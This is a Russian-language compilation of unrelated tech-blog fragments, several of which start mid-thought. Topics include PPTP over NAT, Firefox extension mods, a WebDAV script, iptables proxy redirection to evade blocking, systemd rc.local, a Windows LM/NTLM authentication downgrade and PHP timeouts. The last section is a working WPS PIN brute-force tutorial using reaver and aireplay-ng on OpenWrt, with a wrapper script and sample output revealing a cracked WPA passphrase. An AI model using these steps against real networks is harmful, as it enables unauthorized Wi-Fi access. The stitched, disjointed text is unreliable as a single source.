Симптомы: на виндовых машинах подключение к VPN виснет на “проверке имени пользователя и пароля”, затем выдается ошибка 619. В логах PPTP-сервера видно, что он не получает отклика от клиента и сбрасывает подключение по таймауту, а в трафике видны только исходящие GRE-пакеты в сторону PPTP-клиента. На NAT-шлюзе в трафике при этом присутствуют и входящие, и исходящие GRE-запросы.

Спустя время было выявлено, что затык именно на стороне клиента, а именно на NAT-шлюзе: для работы PPTP на нем нужно подгрузить следующие модули (для CentOS):

modprobe ip_nat_pptp
modprobe ip_conntrack_pptp
modprobe ip_gre

Несмотря на то, что, казалось бы, каких-либо открываний портов, или разрешений протоколов в файрволе, или других настроек на NAT-шлюзе для использования на стоящих за ним компьютерах PPTP-клиента не требуется, все-таки кое-что сделать придется. Так как с настройками по умолчанию (по крайней мере, для CentOS 6) GRE-трафик пропускаться не будет.

Отдельного упоминания заслуживает тот факт, что добавленные ранее ленты обновлялись как положено, а то, что это расширение вдруг стало “критически” несовместимо с FF36, стало понятно только после того, как браузер самолично и без предупреждений его заблокировал после очередной синхронизации каталога дополнений. Вы можете называть это как угодно – а на мой взгляд это беспредел.

Итак, на Github можно найти бета-версию Brief 2.0, которая полностью совместима с FF36+, но у нее есть несколько серьезных недостатков в сравнении с классической версией 1.7. Предлагаем вниманию модифицированную версию Brief 2.0b3e2 (Erinome Edition), в которой часть из найденных недочетов была исправлена, а также в которую были внесены некоторые дополнения, которых не хватало и в версии 1.7.

ВНИМАНИЕ!
Эта статья была написана в 2015 году, и все описываемое в современных Firefox уже не работает.

Список изменений Brief 2.0b3e:

• В режиме отображения заголовков возвращен показ времени публикации записей;
• В режиме отображения заголовков развернутую запись теперь можно свернуть кликом по пустому пространству рядом с ее заголовком, а отдельная гигантская кнопка сворачивания убрана;
• Активация опции невключения сообщений из выбранных лент в общее число непрочитанных сообщений более не приводит к тому, что такие сообщения перестают отображаться на закладках “Все записи” и “Сегодняшние записи”;
• Изменен стандартный шаблон: записи теперь растягиваются на всю ширину экрана, а не висят по центру с пустым пространством вокруг;
• Нажатие клавиши F5 во вкладке Brief теперь запускает процесс обновления всех лент;
• Нажатие клавиши ENTER во вкладке Brief, когда курсор находится в адресной строке или панели поиска, более не приводит к непреднамеренному открытию ссылки из последней выделенной в ленте записи;
• Обновлена и дополнена русификация;
• Изменены параметры по умолчанию: режим отображения заголовков стал основным режимом, опция считать запись прочитанной по ее разворачиванию теперь по умолчанию включена.

Список изменений Brief 2.0b3e2 (16.03.15):

• Исправлено удаление записей из закладок.

Список изменений Brief 2.0b3e3 (26.03.15):

• При просмотре отдельных лент нажатие клавиши F5 приведет к обновлению только просматриваемой ленты.

Известные проблемы:

• Производительность в сравнении с версией 1.7 оставляет желать лучшего.

Скачать Brief 2.0b3e (Erinome Edition) можно из нашего архива.

Внимание: т.к. это дополнение является модом дополнения Brief, то во избежание возможных проблем перед его установкой оригинальный Brief должен быть деинсталлирован.

This is a modified version of an unreleased Brief 2.0 Beta – Brief 2.0b3e2 Erinome Edition.

It was made in an attempt to partially restore classical 1.7 look-and-feel in newer Brief 2.0, where a lot of things was changed, as well as implement some additional features missing in 1.7.3. Below is a complete list of changes made to Brief 2.0 as it appeared at Github repositories as of 13.03.2015:

Changelog for Erinome Brief 2.0b3e:

• Item datetime is shown again in “View headlines” mode;
• Item can be collapsed in “View headlines” mode by clicking on empty space below its header while huge ugly “collapse button” was removed;
• Activating “Don’t include this feed’s items in overall unread count” option doesn’t result in items from such feed filtering out of “All Items” and “Today Items” views;
• Default template changed: items are now full screen wide which much better fits current widescreen displays;
• Pressing F5 in Brief tab now results in “Update All Feeds” action;
• Pressing ENTER in Brief tab when writing a text into address bar or search bar no longer results in last item’s URL being opened along the default action;
• Updated Russian translation (probably useless for English-speaking visitors but anyway);
• Default preferences changed: “View headlines” is now the default view mode, option “Automatically mark item as read after I see it” is now checked by default.

Changelog for Erinome Brief 2.0b3e2 (16.03.15):

• Fixed unbookmarking an item.

Changelog for Erinome Brief 2.0b3e3 (26.03.15):

• Pressing F5 while viewing a single Feed now results in refreshing that Feed only.

Brief (Erinome Edition) is available to download from our fileserver.

Attention: Please note that as this extension is a modified version of original Brief extension, you MUST uninstall original Brief from Firefox prior to installing this modified one. Who knows what might happen if you don’t do that?.. Boo!

There’re also some known issues in Brief 2.0 Beta: un-bookmarking an item doesn’t work on the first try (try twice or thrice) (fixed in 2.0b3e2), and the overall performance seems worse than it used to be in 1.7. If these issues will be fixed upstream, I’ll try to backport any fixes to the modified Brief version as well.

ВНИМАНИЕ!
Эта статья была написана в 2015 году, и в современных Firefox все описываемое уже не работает.

Функциональность:

• Дополнение контекстного меню страницы
  • Опция “Перейти по ссылке”
    Позволяет браузеру обработать выделенный текст как веб-адрес и попытаться перейти по нему. Например, если на странице имеется фрагмент ссылки без http:// или www, который не оформлен как гиперссылка, то для перехода по нему нужно просто выделить этот адрес и нажать на “Перейти по ссылке” в контекстном меню. Если выделенный текст совершенно не похож на ссылку – то будет открыта страница поиска данного фрагмента в текущем интернет-поисковике. Копирует функциональность Opera 12.
  • Дополнительное меню поиска
    Позволяет искать выделенный текст в текущем интернет-поисковике, а также выбирать другие установленные в браузере поисковики. При этом выбранный поисковик будет запомнен для данной вкладки и в следующий раз в контекстном меню поиска по умолчанию будет предложен он. Также копирует функциональность Opera 12.

  Это контекстное меню отображается только на выделенном фрагменте текста.

• Каждой вкладке – своя панель поиска
  По умолчанию панель поиска не зависит от текущей вкладки и является общей для всего браузера. Данное расширение позволяет запоминать отдельные параметры панели поиска для каждой вкладки. Например, набрав в панель поиска слово “тест” в одной вкладке, вы можете переключиться на другую вкладку и набрать в ней в панель поиска слово “проверка”. Вернувшись обратно на первую вкладку – вы увидите, что содержимое панели поиска заменилось обратно на слово “тест”.
  Более того, для каждой вкладки запоминается последний использовавшийся интернет-поисковик и при переходе между вкладками переключаются и они. Так, если в одной вкладке вы запрашивали через панель поиска информацию в Google, а в другой – выбирали для поиска Яндекс, то при переключении между вкладками в одной из них для поиска останется выбран Google, а в другой – будет выбран Яндекс.
   
• Настраиваемое поведение браузера при кликах по ссылкам с зажатыми клавишами-модификаторами Ctrl и Shift
  Настройки по умолчанию:
  • Клик – открыть ссылку в текущей вкладке;
  • Shift+клик – открыть ссылку в новой вкладке;
  • Ctrl+клик – открыть ссылку в новой фоновой вкладке.

  Эти модификаторы работают и на ссылках, и на кнопках, и при отправке заполненных форм, и даже при заполнении поисковых запросов в панели поиска.

Начиная с версии 1.0.5 расширение GTWA также в полной мере поддерживает обновленную в Firefox 34 панель поиска. Причем старый вид панели, скорее всего, больше корректно работать не будет. Теперь при нажатии на иконки других поисковых систем – они будут выбраны в качестве текущего поисковика. Например, если у вас установлен по умолчанию поисковик от Яндекса, а вы набрали поисковый запрос и кликнули на иконку Google в панели поиска – то поисковик от Google станет основным для данной вкладки, и в дальнейшем запросы поиска из этой вкладки по умолчанию будут направлены в Google.

Скачать расширение GTWA v1.0.5a можно из нашего архива.

Обратите внимание, что из-за особенностей реализации новой панели поиска в Firefox 34, где понятия “текущий поисковик” и “поисковик по умолчанию” просто приравняли (!!) друг к другу, действительный “поисковик по умолчанию” теперь хранится в настройках расширения, а не настройках браузера, и обновляется при изменении “поисковика по умолчанию” в стандартном меню настроек браузера. При этом данное меню, вообще говоря, отображает текущий поисковик для текущей вкладки, и поэтому увидеть в нем тот поисковик, который в данный момент выбран как настоящий поисковик по умолчанию – невозможно. Но он запоминается расширением. За такие неудобства можно благодарить разработчиков Firefox.

Также обратите внимание, что GTWA делалось человеком, который не является профессионалом в создании расширений для Firefox, и который за свою жизнь создал только одно это расширение, и создавалось оно для личных целей, а не широкого использования. По этой причине в нем могут быть некоторые недостатки, но при должной удаче и благоприятном расположении звезд они могут быть устранены в случае обнаружения таковых.

Альтернативой davfs2 для прямого получения или загрузки файлов в облачное хранилище является утилита cadaver. Однако, она предполагает интерактивное взаимодействие с пользователем, и использование ее в автоматизированных скриптах не представляется возможным. Обойти эту проблему можно при помощи утилиты empty, аналога expect для создания и взаимодействия с псевдотерминалами.

Для реализации полностью автоматической загрузки и скачивания файлов с облачного хранилища был создан скрипт webdav.sh.

Перед использованием необходимо настроить несколько параметров, определенных в начале скрипта:

• ififo=/tmp/empty.in.fifo
  – путь к fifo ввода, на роутерах желательно размещать в /tmp
• ofifo=/tmp/empty.out.fifo
  – путь к fifo вывода, на роутерах желательно размещать в /tmp
• cmd=”cadaver https://webdav.yandex.ru”
  – путь к утилите cadaver и адрес WebDav-сервиса
• username=YourUserName
  – логин от WebDav-сервиса
• password=YourPassword
  – пароль от WebDav-сервиса

Доступные команды:

• webdav.sh put <локальный файл> [удаленный путь] – загрузка файла в облако
  – Локальный файл – обязательный параметр, должен быть указан один, файл должен быть доступен для чтения;
  – Удаленный путь – опционально, если его не указать, то файл будет загружен в корневой каталог WebDav.
• webdav.sh get <удаленный файл> [локальный путь] – выгрузка файла из облака
  – Удаленный файл – обязательный параметр, должен быть указан один, файл должен существовать;
  – Локальный путь – опционально, если его не указать, то файл будет загружены в текущий каталог.
• webdav.sh mput <локальные файлы> [удаленный путь] – множественная загрузка
  – Локальные файлы – маска вида “/path/to/*.files”, указание кавычек обязательно;
  – Удаленный путь – опционально, если его не указать, то файлы будут загружены в корневой каталог WebDav.
• webdav.sh mget <удаленные файлы> [локальный путь] – множественная выгрузка
  – Удаленные файлы – маска вида “/remote/path/*”;
  – Локальный путь – опционально, если его не указать, то файлы будут загружены в текущий каталог.

Например, для загрузки файла “/etc/config/firewall” в удаленный каталог “/openwrt” необходимо набрать команду webdav.sh put /etc/config/firewall /openwrt/firewall. Отметим, что удаленный каталог “openwrt” перед выполнением этой команды должен существовать.

PS: Стоит обратить внимание, что утилита empty имеет такую особенность, что если указанные в конфигурации fifo-файлы уже существуют на момент ее запуска, то она просто не запустится, тихо ругнувшись в syslog. А в случае каких-либо сбоев в ходе работы с empty эти fifo-файлы могут автоматически не удалиться.

Итак, рассмотрим еще один вариант, не требующий никакого дополнительного софта, помимо роутера с OpenWrt. Одним из очевидных способов обхода блокировки с минимальным использованием сторонних средств является следующая система:

1. Перестаем использовать провайдерские DNS и переходим на свободные (напр., от Google: 8.8.8.8, 8.8.4.4);
2. Устанавливаем на роутере прокси-сервер (напр., tinyproxy);
3. Заворачиваем при помощи iptables все запросы к заблокированным ресурсам на прокси, выделяя такие запросы по целевому IP-адресу;
4. Задаем в конфиге прокси любой заграничный апстрим-прокси, на котором отсутствует блокировка.

Плюсы:
+ На прокси заворачиваются только обращения к заблокированным ресурсам, все остальные работают как раньше;
+ Не нужно вообще ничего настраивать на всех подключаемых к роутеру устройствах;
+ Мы лично всё контролируем. :)

Минусы:
– Неудобство по ручному составлению списка блокированных ресурсов;
– Неудобство поиска живых и достаточно быстрых апстрим-прокси;
– Необходимость установки лишнего софта на роутер и потенциально его частая перенастройка.

Для многих минусы значительно перевесят все возможные плюсы. Тем не менее рассмотрим, как реализовать изложенное и, кроме того, обойтись без установки собственного прокси на роутере.

Идея в том, что раз мы поднимаем у себя на роутере transparent-прокси и прозрачно заворачиваем на него часть трафика, чтобы затем переправить его на другой прокси в интернете, то можно задаться вопросом: а, собственно, зачем нам создавать каскад из прокси, если можно сразу найти внешние прокси-сервера, поддерживающие transparent-режим? Все, что потребуется – это отыскать таковой и сразу завернуть нужный трафик туда, без локального прокси-сервера.

Для того, чтобы немного автоматизировать настройку и добавить минимальных удобств, напишем скрипт:

#!/bin/ash
###
# Erinome proxyPass v.1
###

proxy="1.1.1.1:23456"
bhosts="188.190.124.85/32 185.10.208.40/32"

enableProxy()
{
	cleanRules
	for bhost in $bhosts
	do
		cmd="iptables -A prerouting_lan_rule -t nat -p tcp -d ${bhost} --dport 80 -m comment --comment "ErinomePP" -j DNAT --to-destination ${proxy}"
		echo $cmd; $cmd
	done
}

disableProxy()
{
	cleanRules
}

cleanRules()
{
	iptables -S prerouting_lan_rule -t nat | grep "comment ErinomePP" | while read iptfind
	do
		cmd="iptables -t nat -D `echo $iptfind | cut -d' ' -f2-`"
		echo $cmd; $cmd
	done
}


case "$1" in
	ena*)
		enableProxy
		;;
	dis*)
		disableProxy
		;;
	*)
		echo 'not recognized'
		;;
esac

В переменной “bhosts” должны быть перечислены заблокированные хосты, в переменной “proxy” – указан адрес и порт анонимного прокси-сервера с поддержкой transparent-режима. При внесении каких-либо изменений в список заблокированных хостов или при необходимости сменить адрес прокси, всё, что требуется сделать – это обновить данные в скрипте и набрать в консоли “./proxyPass.sh enable”. Старые правила iptables будут вычищены автоматически и заменены новыми.

PS: При использовании типа подключения DHCP необходимо указать опцию “option peerdns ‘0’” в /etc/config/network, чтобы провайдерские DNS-серверы, получаемые с DHCP, полностью игнорировались.

PPS: Также может возникнуть вопрос о том, как завернуть в прозрачный прокси тот трафик, который не проходит через роутер транзитом, а генерируется софтом непосредственно на роутере. Правила рассмотренные для PREROUTING для этих целей не подходят, а нужно добавить правила для OUTPUT:

iptables -t nat -A OUTPUT -d <dest IP>/32 -p tcp -m tcp --dport 80 -m comment --comment ErinomePP -j DNAT --to-destination <proxy IP>:<proxy port>

В терминологии OpenWrt, вероятно, вместо “-А OUTPUT” следует указать более корректный блок правил, определяющий именно OUTPUT зоны WAN…

Проблему можно было бы разрешить путем задания в Archlinux’е пояса UTC, и таким образом заставить систему никуда не сдвигать время относительно выставляемого VMware. Но так как это было бы слишком просто, пойдем другим путем, и попутно научимся создавать скрипт rc.local в системе с непонятным и неудобным systemd.

Создаем описание нового сервиса rc.local, для этого пишем файл /etc/systemd/system/rc-local.service:

[Unit]
Description=/etc/rc.local Compatibility
ConditionPathExists=/etc/rc.local

[Service]
Type=forking
ExecStart=/etc/rc.local start
TimeoutSec=0
StandardOutput=tty
RemainAfterExit=yes
SysVStartPriority=99

[Install]
WantedBy=multi-user.target

Активируем его:

[root@arch] # systemctl enable rc-local.service

Создаем файл /etc/rc.local и добавляем в него команду синхронизации времени:

#!/bin/bash
sleep 10
ntpdate -u ntp1.vniiftri.ru

Команда sleep организует искусственную задержку, без которой мне не удалось заставить это работать.
Возможно, не успевала прогрузиться сеть.

Делаем скрипт запускаемым:

[root@arch] # chmod +x /etc/rc.local

Перезапускаем виртуалку, и через 10 секунд после старта получаем корректное системное время.

PS: Да, я допускаю, что должна быть какая-то возможность настроить VMware так, чтобы оно выдавало в виртуалки реальное UTC-время, а не выдавало системное время MSK хост-машины за UTC, тем самым вводя виртуальные машины в заблуждение.

Системная ошибка 86 
Сетевой пароль указан неверно

И это при совершенно верном указании реквизитов.

Дело в разрешенных к использованию алгоритмах аутентификации. Windows 7 (вероятно, также и более новые системы включая Windows 8) предъявляют иные требования к проверке подлинности, вследствие чего попросту не работают со старыми системами.

Для исправления ситуации необходимо отредактировать локальные политики системы. Для этого открываем “Пуск” -> “Выполнить…” (либо, короче, Win+R) и набираем gpedit.msc.

Искомый ключ находится по следующему пути: “Конфигурация компьютера” -> “Конфигурация Windows” -> “Параметры безопасности” -> “Локальные политики” -> “Параметры безопасности” -> “Сетевая безопасность: уровень проверки подлинности Lan Manager”. Необходимо выбрать значение “Отправлять LM и NTLM – использовать сеансовую безопасность NTLMv2 при согласовании.”

Для английской версии Windows: “Computer Configuration” -> “Windows Settings” -> “Security Settings” -> “Local Policies” -> “Security Options” -> “Network Security: LAN Manager authentification level”. Необходимо выбрать значение “Send LM & NTLM – use NTLMv2 session security if negotiated”.

После этого подключение сетевых дисков начинает работать ожидаемым образом и без сюрпризов.

PS: В Windows 7 Home Premium, спасибо милому Microsoft за удобство, отсутствуют средства управления политиками компьютера и этот метод не работает. Но проблема решается путем редактирования реестра через regedit: необходимо по пути HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa создать ключ LmCompatibilityLevel типа DWORD и присвоить ему значение 1. Для применения изменений необходимо перезагрузить компьютер.

http://mirror.majorhost.net/centos/6.4/os/i386/repodata/repomd.xml: [Errno 14] PYCURL ERROR 22 - "The requested URL returned error: 403 Forbidden"
Trying other mirror.

Этих утомительных ошибок можно избежать, добавив данное зеркало в исключения.

Редактируем файл /etc/yum/pluginconf.d/fastestmirror.conf:

exclude=mirror.majorhost.net

Вот и всё – теперь yum будет игнорировать это зеркало. А если же есть необходимость добавить несколько зеркал в исключения, то их названия следует писать через запятую на той же строке.

Интересно, что fastestmirror не смотря ни на что продолжает выбирать mirror.majorhost.net в число наиболее предпочтительных зеркал. Насколько я могу вспомнить, за последние годы мне так ни разу и не довелось увидеть это зеркало в работоспособном состоянии. Зачем они его вообще держат?

Простым решением подобной проблемы является возможность запросить XML-данные каким-либо другим средством, предусматривающим возможность настройки таймаутов, после чего передать полученную строку в simplexml_load_string().

Использование file_get_contents+simplexml_load_string

При использовании file_get_contents() для запроса удаленных данных имеется возможность указания ряда параметров при помощи т.н. контекста, создаваемого командой stream_context_create(). Например, указать предельное время ожидания HTTP-запроса можно следующим образом:

$opts = stream_context_create( array(
		'http' => array(
			'timeout' => 1
			)
		) );
$xmlstr = file_get_contents($url, false, $opts);
$xml = @simplexml_load_string($xmlstr);

Либо короче:

$xmlstr = file_get_contents($url, $false, stream_context_create(array('http' => array('timeout' => 1))));
$xml = @simplexml_load_string($xmlstr);

Этот способ работает хорошо до тех пор, пока мы не сталкиваемся с таймаутом при запросе доменного имени $url с DNS. В этом случае выставленный в контексте параметр ‘timeout’ в обработке не участвует и время ожидания по-прежнему может быть слишком высоко.

Использование cURL+simplexml_load_string

Применение библиотеки cURL хотя и требует фактического наличия означенной библиотеки и более громоздко при использовании, но представляет более широкие возможности по настройке параметров соединения:

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 1);
$xmlstr = curl_exec($ch);
curl_close($ch);
$xml = @simplexml_load_string($xmlstr);

При этом параметром ‘CURLOPT_TIMEOUT’ определяется не только время выполнения запроса, но целиком время выполнения всех операций cURL, включая запросы к DNS. В PHP начиная с версии 5.2.3 поддерживается также параметр ‘CURLOPT_TIMEOUT_MS’, позволяющий указать длительность таймаута в миллисекундах.

Запуск под Windows?

В случае использования apache+php в системе под управлением MS Windows даже при использовании cURL мне не удалось найти никакой действительно работоспособной возможности для обхода длительного таймаута при сбое DNS на стороне локального сервера.

Интересно также, что в принципе запуск модуля cURL (php_curl.dll) в Windows-версии apache по умолчанию происходит с ошибкой, которая в error.log на стороне apache выглядит так:

PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\\php5\\ext\\php_curl.dll' - \xcd\xe5 \xed\xe0\xe9\xe4\xe5\xed \xf3\xea\xe0\xe7\xe0\xed\xed\xfb\xe9 \xec\xee\xe4\xf3\xeb\xfc.\r\n in Unknown on line 0

Либо, при переводе в человеческий вид, так:

PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\\php5\\ext\\php_curl.dll' - Не найден указанный модуль.\r\n in Unknown on line 0

Это, конечно, на редкость информативно и предоставляет возможности для полета фантазии на тему того, о каком именно модуле идет речь. Интересно отметить тот факт, что при запуске php -i модуль cURL загружается корректно, а проблема возникает только при запуске из-под apache.

В описываемом случае проблема отсутствующего модуля решилась путем копирования файлов ‘libeay32.dll’ и ‘ssleay32.dll’ из каталога C:/php5 в каталог C:/apache/bin.

Теория

Уязвимость заключается в том, что метод авторизации содержит недочеты, позволяющие существенно упростить прямой перебор PIN-кодов, иными словами – реализуется эффективная брутфорс-атака. PIN-код WPS содержит восемь цифр, соответственно существует 10⁸ возможных вариантов кода. Это довольно большое число, но в реальности количество переборов можно существенно сократить.

Во-первых, восьмисимвольный PIN-код при авторизации делится на две части, обработка которых происходит независимо друг от друга. Так, точка доступа и клиент обмениваются рядом последовательных сообщений М1-М8, и при этом:

• Если после отправки сообщения М4 точка доступа отвечает кодом EAP-NACK, значит первая половина PIN-кода ошибочна;
• Если после отправки сообщения М6 точка доступа отвечает кодом EAP-NACK, значит вторая половина PIN-кода ошибочна.

В итоге, число необходимых переборов сокращается с 10⁸ (100’000’000) до 10⁴+10⁴ (20’000).

Во-вторых, последняя цифра PIN-кода не является случайной и представляет собой контрольную сумму предыдущих цифр кода. Этот факт сокращает количество вариантов до 10⁴+10³ (11’000).

Наконец, немаловажной деталью является тот факт, что на многих домашних роутерах PIN-авторизация: а) включена по-умолчанию; б) не накладывает никаких ограничений на отправителя при отправке множества некорректных PIN-кодов. Это открывает возможность по неограниченному перебору пин-кодов на таких роутерах.

Автоматизация

Разумеется, не пришлось долго ждать появления умельцев, реализовавших программный метод для автоматического перебора PIN-кодов – в лице программы reaver wps. Более того, данная утилита даже была портирована в OpenWrt и присутствует в официальном репозитории пакетов.

Итак, для запуска процесса восстановления PIN-кода нашей точки доступа при помощи роутера под управлением OpenWrt нам потребуется установить пакеты aircrack-ng и reaver (в Buildroot расположены в разделе Network -> Wireless). Первый пакет представляет собой набор утилит и скриптов, при помощи которого мы сможем перевести Wi-Fi передатчик роутера в режим “Monitor”; второй – это непосредственно утилиты для анализа и подбора PIN-кодов.

Сначала подготовим Wi-Fi передатчик нашего роутера. Обратите внимание, соответствующий передатчик уже должен быть активирован в UCI или веб-интерфейсе. Допустим, если выбранный сетевой интерфейс называется wlan0, то используем команду:

root@OpenWrt:~# airmon-ng start wlan0

Теперь у нас появился новый виртуальный сетевой интерфейс – mon0. К сожалению, чтобы на нем работал режим scan, в современных прошивках требуется отключение “обычного” беспроводного интерфейса:

root@OpenWrt:~# ifconfig wlan0 down

Теперь мы можем использовать утилиту wash, при помощи которой можно увидеть окрестные точки доступа, поддерживающие WPS-авторизацию, а также убедимся в том, что с роутера просматривается целевая точка доступа и ее MAC-адрес:

root@OpenWrt:~# wash -i mon0

Wash v1.4 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner 

BSSID              Channel  RSSI  WPS Version  WPS Locked  ESSID
--------------------------------------------------------------------------------------
...
00:01:FD:AC:DD:EA     2       -64   1.0          No          TestAP
...

Запоминаем номер канала и BSSID нашей точки доступа.

В принципе, на этом этапе мы уже имеем достаточно данных для начала автоматизированноого перебора паролей. Для этого было бы достаточно набрать следующую команду и ждать результата:

root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -v

Однако, не все так гладко в Датском королевстве OpenWrt.

Проблема в следующем:

Утилита reaver местами использует низкоуровневые вычисления, а первоначально она составлялась для ПК с процессорами х86-64, использующими порядок байтов типа “Little-endian” (LE, от меньшего к большему). В то же время на многих распространенных роутерах используется представление байт “Big-endian” (BE, от большего к меньшему). Первое время это приводило к тому, что reaver вовсе не функционировал на роутерах с BE-платформой. Позже были написаны патчи, исправлявшие эту ситуацию, но тем не менее до сих пор не решена проблема с аутентификацией на точке доступа при использовании платформы с BE. Поэтому требуются обходные пути.

В частности, нам поможет ручная аутентификация на точке доступа при помощи утилиты aireplay-ng из пакета aircrack-ng. Однако в отличие от reaver данная утилита не умеет самостоятельно выставлять требуемый Wi-Fi канал, поэтому его необходимо задать вручную:

root@OpenWrt:~# iwconfig mon0 channel 2
root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0

Эта утилита работает в foreground-режиме, поэтому после того, как вы убедитесь, что ассоциирование с точкой доступа происходит успешно, требуется прервать ее выполнение по Ctrl+C и перезапустить в фоновом режиме:

root@OpenWrt:~# aireplay-ng -1 5 -a 00:01:FD:AC:DD:EA mon0 > /dev/null &

Затем при запуске reaver добавляем ключ -A:

root@OpenWrt:~# reaver -i mon0 -b 00:01:FD:AC:DD:EA -vv -A

Если все выполнено правильно, то можно будет наблюдать следующие строки:

...
[+] Trying pin 54545670
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 54555679
[+] Sending EAPOL START request
[+] Received identity request
...

В случае появления повторяющихся сообщений Sending EAPOL START request и WARNING: Receive timeout occurred, вероятно, ассоциирование с точкой доступа не было успешным. В случае обнаружения зацикленного перебора одинаковых PIN-ов, вероятно, точка доступа все-таки не поддерживает такую авторизацию, либо произошел сбой в работе reaver.

В общем случае алгоритм корректного перебора PIN-ов предполагает последовательное увеличение первых четырех цифр до тех пор, пока они не будут подобраны верно. Затем первые четыре цифры фиксируются и начинается перебор предпоследних трех цифр. В последней позиции PIN-кода автоматически генерируется число, являющееся контрольной суммой предыдущих чисел.

Также есть еще один момент, актуальный для запуска reaver на OpenWrt:

При работе данная утилита использует файл базы данных sqlite3, а также для хранения информации по текущей точке доступа создается временный файл в текущем каталоге. Оба этих файла перезаписываются после каждой новой попытки подбора PIN-кода. Соответственно, в целях сохранения flash-памяти вашего роутера от износа запускать reaver следует из каталога /tmp. Но, к сожалению, это никак не решает проблему постоянной перезаписи sqlite3-базы, расположенной в /etc/reaver/reaver.db. В данном случае решением проблемы стало бы создание копии этой базы в /tmp и добавление симлинка на нее в /etc.

Для упрощения решения проблемы с переносом sqlite3-базы в /tmp и автоматизации запуска aireplay был составлен скрипт reaverrun.sh:

#!/bin/ash

if [ $# -lt 3 ]
then
        echo
        echo "Reaver WPS Tool automatization script for OpenWrt"
        echo "(c) 2013 Erinome.net"
        echo
        echo "Usage: $0 <interface> <channel> <bssid>"
        echo
        exit
fi

interface=$1
channel=$2
bssid=$3

cd /tmp

# check if symlink is created
if [ -L /etc/reaver/reaver.db ]
then
        # check if symlink target not ok
        if ! [ -e /tmp/reaver.db ]
        then
                if [ -e /etc/reaver/reaver.db.orig ]
                then
                        # copy backup to symlinked location
                        cp /etc/reaver/reaver.db.orig /tmp/reaver.db
                else
                        echo "Fatal: reaver.db.orig not found!"
                        exit 1;
                fi
        fi
else
        # move reaver.db to reaver.db.orig and create symlink
        cp /etc/reaver/reaver.db /tmp/reaver.db
        mv /etc/reaver/reaver.db /etc/reaver/reaver.db.orig
        ln -s /tmp/reaver.db /etc/reaver/reaver.db
fi

# make a trap for signal handling
trap "{ /usr/bin/killall aireplay-ng; exit; }" SIGINT EXIT

# change wireless channel for aireplay to work
iwconfig $interface channel $channel

# run aireplay-ng to associate since reaver ap association is broken in BE
aireplay-ng -1 5 -a $bssid $interface > /dev/null &

# actually run reaver
reaver -i mon0 -b $bssid -vv -A -S

Скачать скрипт можно из нашего хранилища: reaverrun.sh.

Процесс восстановления PIN-кода может занимать достаточно длительное время, и поэтому есть смысл запускать его в виртуальном терминале типа screen.

При завершении восстановления PIN-кода в консоль будет выведен также WPA-passphrase и затраченное на восстановление время:

[+] Sending M4 message
[+] Received M5 message
[+] Sending M6 message
[+] Received M7 message
[+] Sending WSC NACK
[+] Sending WSC NACK
[+] Pin cracked in 29786 seconds
[+] WPS PIN: '73133210'
[+] WPA PSK: 'the-most-secret-passphrase-ever'
[+] AP SSID: 'TestAP'

После завершения работы с reaver необходимо выключить сетевой интерфейс mon0 командой airmon-ng stop mon0. Также привести роутер в исходное состояние можно и просто набрав команду wifi. При этом временные сетевые интерфейсы будут удалены, а конфигурация беспроводной сети вернется к заданным в UCI или веб-интерфейсе роутера значениям.

Вместо заключения

Для обеспечения безопасности беспроводных сетей с поддержкой WPS остается лишь рекомендовать отключить возможность авторизации по PIN-кодам, либо свериться с информацией по возможности обновления прошивки у производителя вашего роутера или точки доступа. Достаточно эффективной защиты PIN-авторизации можно было бы добиться простым ограничением числа попыток авторизаций в единицу времени. Например, таковая защита представлена на современных роутерах марки Zyxel.